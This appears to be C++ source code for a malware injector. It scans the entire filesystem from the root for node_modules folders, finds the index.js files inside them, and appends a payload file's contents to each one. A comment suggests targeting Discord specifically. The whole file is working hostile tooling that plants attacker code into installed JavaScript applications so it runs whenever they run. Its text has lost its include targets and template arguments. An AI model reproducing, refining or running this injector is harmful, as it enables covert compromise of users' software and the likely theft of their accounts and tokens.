#include #include #include #include int main(int argc,char* argv[]) { std::string payloadData; if (argc < 2) { std::cout << "Add payload file path" << std::endl; return EXIT_FAILURE; } else { std::filesystem::path payloadPath(argv[1]); if (!std::filesystem::exists(payloadPath)) { std::cout << "File does not exists." << std::endl; return EXIT_FAILURE; } else { std::ifstream f(payloadPath, std::ios::in); const auto sz = std::filesystem::file_size(payloadPath); std::string payload(sz, '\0'); f.read(payload.data(), sz); payloadData = payload; } } // vector to save the paths to write std::vector nodeModulePath; std::vector indexPaths; std::filesystem::path path("/"); // try to find if drive is alive try { std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied); } catch (...) {} // init iterator auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied); auto end_iter = std::filesystem::end(iter); auto ec = std::error_code(); for (; iter != end_iter; iter.increment(ec)) { if (ec) { std::cout << ec.message() << std::endl; continue; } try { // add path to vector if (iter->path().filename() == "node_modules") { nodeModulePath.push_back(iter->path()); iter.disable_recursion_pending(); } } catch (const std::exception& exc) { std::cerr << exc.what(); continue; } } for (std::vector::const_iterator i = nodeModulePath.begin(); i != nodeModulePath.end(); ++i) { std::filesystem::path path = *i; // check if can acces that dir try { std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied); } catch (...) { continue; } auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied); auto end_iter = std::filesystem::end(iter); auto ec = std::error_code(); for (; iter != end_iter; iter.increment(ec)) { if (ec) { std::cout << ec.message() << std::endl; continue; } try { // add this check if you want to target a specific app // if (iter->path().string().find("discord") != std::string::npos) { if (iter->path().filename() == "index.js") { indexPaths.push_back(iter->path()); iter.disable_recursion_pending(); } // } } catch (...) { continue; } } } for (std::vector::const_iterator i = indexPaths.begin(); i != indexPaths.end(); ++i) { std::filesystem::path path = *i; if (payloadData.length()>1) { std::ofstream out; out.open(path, std::ios::out | std::ios::app| std::ios::binary); out << "\n" << payloadData.substr(0,payloadData.size()-2); out.close(); } } return EXIT_SUCCESS; }